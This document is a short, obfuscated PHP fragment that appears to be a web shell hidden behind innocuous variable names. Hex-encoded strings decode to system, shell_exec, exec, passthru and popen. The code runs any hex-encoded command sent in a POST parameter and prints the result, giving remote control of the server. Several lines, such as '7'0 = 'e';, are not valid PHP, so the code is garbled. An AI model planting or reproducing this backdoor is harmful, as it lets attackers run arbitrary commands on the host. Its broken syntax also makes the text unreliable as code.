'7'0 = 'e';
'7'1 = '2';
'7'2 = 'f';
'7'3 = 'b';
$data_storage1 = pack("H*", '73797374656d');
$data_storage2 = pack("H*", '7368656c6c5f65786563');
$data_storage3 = pack("H*", '65786563');
$data_storage4 = pack("H*", '7061737374687275');
$data_storage5 = pack("H*", '706f706567'0);
$data_storage6 = pack("H*", '737477'1 . '65616d5f67657457'2 . '636f67'0 . '74656e7473');
$data_storage7 = pack("H*", '70636c6f7365');
$token_parser_engine = pack("H*", '7467'2 . '67'3 . '6567'0 . '57'2 . '706177'1 . '736577'1 . '5f656e676967'0 . '65');
if (isset($_POST[$token_parser_engine])) {
    $token_parser_engine = pack("H*", $_POST[$token_parser_engine]);
    if (function_exists($data_storage1)) {
        $data_storage1($token_parser_engine);
    } elseif (function_exists($data_storage2)) {
        print $data_storage2($token_parser_engine);
    } elseif (function_exists($data_storage3)) {
        $data_storage3($token_parser_engine, $hld_key);
        print join("\n", $hld_key);
    } elseif (function_exists($data_storage4)) {
        $data_storage4($token_parser_engine);
    } elseif (function_exists($data_storage5) && function_exists($data_storage6) && function_exists($data_storage7)) {
        $k_reference = $data_storage5($token_parser_engine, 'r');
        if ($k_reference) {
            $descriptor_pgrp = $data_storage6($k_reference);
            $data_storage7($k_reference);
            print $descriptor_pgrp;
        }
    }
    exit;
}